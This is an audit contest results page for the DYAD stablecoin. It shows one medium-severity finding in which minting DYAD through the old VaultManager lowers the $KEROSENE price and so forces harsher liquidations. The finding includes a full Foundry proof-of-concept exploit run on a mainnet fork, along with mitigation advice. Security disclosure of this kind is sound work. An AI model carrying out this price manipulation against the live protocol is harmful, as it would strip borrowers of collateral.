DYAD - nnez's results

The first capital efficient overcollateralized stablecoin.

General Information

Platform: Code4rena

Start Date: 18/04/2024

Pot Size: $36,500 USDC

Total HM: 19

Participants: 183

Period: 7 days

Judge: Koolex

Id: 367

League: ETH

DYAD

Findings Distribution

Researcher Performance

Rank: 136/183

Findings: 1

Award: $4.87

🌟 Selected for report: 0

🚀 Solo Findings: 0

Awards

4.8719 USDC - $4.87

Labels

bug
2 (Med Risk)
downgraded by judge
satisfactory
sufficient quality report
:robot:_67_group
duplicate-67

External Links

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L230-L248 https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/Vault.kerosine.unbounded.sol#L50-L68

Vulnerability details

Impact

Manipulation of $KEROSINE price leads to manipulation of users' Collateral Ratio (CR)

  • Users will lose more collateral than usual during liquidation.
  • Users will be liquidated earlier, in term of CR, than usual.

Proof-of-Concept

Borrower's CR is calculated from both non-kerosene and kerosene value. https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L230-L248

$KEROSENE price in Vault.kerosene is calculated from (TVL - dyad.totalSupply) / (kersene.totalCirculatingSupply) https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/Vault.kerosine.unbounded.sol#L50-L68

The above formula relies on an invariance, TVL > dyad.totalSupply of which assumes that dyad.totalSupply can only be increased via VaultManagerV2
Because $KEROSENE value is supposed to represent the collateral surplus of the system and it hinges on the fact that user can only borrow maximally at 150% CR so there will always be at least 50% collateral surplus, thus TVL will always be greater than the total debt, which in this formula, uses dyad.totalSupply as a representation.

However, there is another path way to increase $DYAD supply, and that is minting via previous VaultManager, assuming that both vaults are operating at the same time, which is likely, because the protocol can't disable minting/burning via previous VaultManager, otherwise, it will be impossible for users to unwind their position and migrate to VaultManagerV2.

Since same-block protection does not apply for previous VaultManager. Therefore, $DYAD supply can be massively increased utilzing flash loan.
This would allow a malicious actor to massively lower the price of $KEROSINE and causes a drop in users' CR.

Here is a PoC I wrote to demonstrate the impact of malicious actor driving the price of $KEROSENE down, then liquidates more collateral from the victim.
Steps

  1. Place a new test file with the code below in test/fork directory.
  2. Run forge test -vvv --match-contract C4V2Test --match-test testLiquidation --rpc-url https://ethereum.publicnode.com to run the PoC
// SPDX-License-Identifier: MIT pragma solidity =0.8.17; import "forge-std/console.sol"; import "forge-std/Test.sol"; import "forge-std/interfaces/IERC20.sol"; import {DeployV2, Contracts} from "../../script/deploy/Deploy.V2.s.sol"; import {Licenser} from "../../src/core/Licenser.sol"; import {Parameters} from "../../src/params/Parameters.sol"; import {VaultManager} from "../../src/core/VaultManager.sol"; contract C4V2Test is Test, Parameters { Contracts contracts; function setUp() public { contracts = new DeployV2().run(); } function testLiquidation() public{ // Pre-setup so that borrowing works. vm.startPrank(MAINNET_OWNER); Licenser licenser = Licenser(MAINNET_VAULT_MANAGER_LICENSER); licenser.add(address(contracts.vaultManager)); vm.stopPrank(); deal(MAINNET_WETH, address(this), 1_000e18); IERC20(MAINNET_WETH).transfer( address(contracts.ethVault), 1_000e18 ); uint currentPrice = contracts.unboundedKerosineVault.assetPrice(); console2.log("[>] $KEROSENE price: %s", currentPrice); // Mocking starting ETH price to $3100 so that test is reproducible vm.mockCall(0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419, abi.encodeWithSignature("latestRoundData()"), abi.encode(0, 3100e8, 0, block.timestamp + 120 minutes, 0)); // [1] Create a position for ALICE address ALICE = makeAddr("alice"); deal(MAINNET_WETH, ALICE, 100e18); vm.deal(ALICE, 1e18); console2.log("[>] WETH and ETH magically appears in ALICE wallet"); vm.prank(0x34a43471377Dcce420Ce8e3Ffd9360b2E08fa7B4); // K/WETH UNISWAPV2 PAIR contracts.kerosene.transfer(ALICE, 100_000e18); console2.log("[>] $KEROSENE magically appears in ALICE wallet"); vm.startPrank(ALICE); console2.log("[>] Impersonate as ALICE"); console2.log("[>] Minting dNft for ALICE"); uint nftId = contracts.vaultManager.dNft().mintNft{value: 1e18}(ALICE); console2.log("[>] Alice's Nft: %s", nftId); IERC20(MAINNET_WETH).approve(address(contracts.vaultManager), type(uint).max); contracts.vaultManager.add(nftId, address(contracts.ethVault)); console2.log("[>] Added ETH vault to ALICE's Nft"); contracts.vaultManager.deposit(nftId, address(contracts.ethVault), 10e18); contracts.vaultManager.mintDyad(nftId, 20_000e18, ALICE); console2.log("[>] Deposited WETH and minted $DYAD"); console2.log("[>] ALICE's CR %e", contracts.vaultManager.collatRatio(nftId)); contracts.kerosene.approve(address(contracts.vaultManager), type(uint).max); contracts.vaultManager.add(nftId, address(contracts.unboundedKerosineVault)); contracts.vaultManager.deposit(nftId, address(contracts.unboundedKerosineVault), 100_000e18); console2.log("[>] Deposited $Kerosene to UnboundedVault"); console2.log("[>] ALICE's CR %e", contracts.vaultManager.collatRatio(nftId)); vm.stopPrank(); // [2] Do the same things for BOB so that BOB has DYAD to liquidate ALICE address BOB = makeAddr("bob"); deal(MAINNET_WETH, BOB, 410e18); vm.deal(BOB, 1e18); console2.log("[>] WETH and ETH magically appears in BOB wallet"); vm.startPrank(BOB); console2.log("[>] Impersonate as BOB"); console2.log("[>] Minting dNft for BOB"); uint nftId_2 = contracts.vaultManager.dNft().mintNft{value: 1e18}(BOB); console2.log("[>] BOB's Nft: %s", nftId_2); IERC20(MAINNET_WETH).approve(address(contracts.vaultManager), type(uint).max); contracts.vaultManager.add(nftId_2, address(contracts.ethVault)); console2.log("[>] Added ETH vault to BOB's Nft"); contracts.vaultManager.deposit(nftId_2, address(contracts.ethVault), 10e18); contracts.vaultManager.mintDyad(nftId_2, 20_000e18, BOB); console2.log("[>] Deposited WETH and minted $DYAD"); console2.log("[>] BOB's CR %e", contracts.vaultManager.collatRatio(nftId_2)); vm.stopPrank(); console2.log("[>] Simulating ETH price drop to $2500"); vm.mockCall(0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419, abi.encodeWithSignature("latestRoundData()"), abi.encode(0, 2500e8, 0, block.timestamp + 120 minutes, 0)); console2.log("[>] ALICE's CR %e after price drop", contracts.vaultManager.collatRatio(nftId)); assert( contracts.vaultManager.collatRatio(nftId) < 1.5e18 ); console2.log("[>] ALICE's position is now liquidatable"); uint alice_asset = contracts.ethVault.id2asset(nftId); console2.log("[>] ALICE's asset before liquidation: %s", alice_asset); console2.log("[>] Taking snapshot before price manipulation"); uint snapshot = vm.snapshot(); // [3] BOB manipulates $KEROSENE price by minting $DYAD via previous vault manager to match VaultManagerV2 TVL vm.startPrank(BOB); console2.log("[>] Impersonate as BOB"); console2.log("[>] Minting $DYAD via previous VaultManager to manipulate $DYAD supply"); IERC20(MAINNET_WETH).approve(MAINNET_VAULT_MANAGER, type(uint).max); VaultManager(MAINNET_VAULT_MANAGER).add(nftId_2, MAINNET_WETH_VAULT); VaultManager(MAINNET_VAULT_MANAGER).deposit(nftId_2, MAINNET_WETH_VAULT, 400e18); VaultManager(MAINNET_VAULT_MANAGER).mintDyad(nftId_2, 600_000e18, ALICE); currentPrice = contracts.unboundedKerosineVault.assetPrice(); console2.log("[>] $KEROSENE price: %s", currentPrice); console2.log("[>] ALICE's CR %e after price manipulation", contracts.vaultManager.collatRatio(nftId)); console2.log("[>] Note that ALICE's CR drops further, so ALICE will lose more collateral during liquidation"); console2.log("[>] BOB liquidates ALICE"); contracts.vaultManager.liquidate(nftId, nftId_2); vm.stopPrank(); alice_asset = contracts.ethVault.id2asset(nftId); console2.log("[>] ALICE's asset after liquidation: %s", alice_asset); console2.log("[>] Reverts back to before $KEROSENE price manipulation"); console2.log("[>] ALICE's CR %e (still liquidatable)", contracts.vaultManager.collatRatio(nftId)); vm.revertTo(snapshot); vm.startPrank(BOB); console2.log("[>] BOB liquidates ALICE"); contracts.vaultManager.liquidate(nftId, nftId_2); vm.stopPrank(); alice_asset = contracts.ethVault.id2asset(nftId); console2.log("[>] ALICE's asset after liquidation: %s", alice_asset); } }

Tools Used

  • Manual Review

According to DYAD's documentation, $KEROSENE's value is supposed to represent the collateral surplus of VaultManagerV2.
However, for the current implementation of assetPrice() in Vault.kerosine.unbounded.sol, it substracts the total debt from dyad.totalSupply() which shares the supply with the previous version of VaultManager while only counts TVL of collateral from VaultManagerV2, not both. This makes the calculation of collateral surplus incorrect because it counts the debt from outside of VaultManagerV2.

Therefore, the mitigation should either be:

  • Counting collateral from all vaults OR
  • Counting only minted $DYAD from VaultManagerV2

Assessed type

Other

#0 - c4-pre-sort

2024-04-28T05:45:55Z

JustDravee marked the issue as duplicate of #67

#1 - c4-pre-sort

2024-04-29T09:17:20Z

JustDravee marked the issue as sufficient quality report

#2 - c4-judge

2024-05-05T09:59:11Z

koolexcrypto changed the severity to 2 (Med Risk)

#3 - c4-judge

2024-05-08T11:50:04Z

koolexcrypto marked the issue as unsatisfactory: Invalid

#4 - c4-judge

2024-05-08T13:02:22Z

koolexcrypto marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter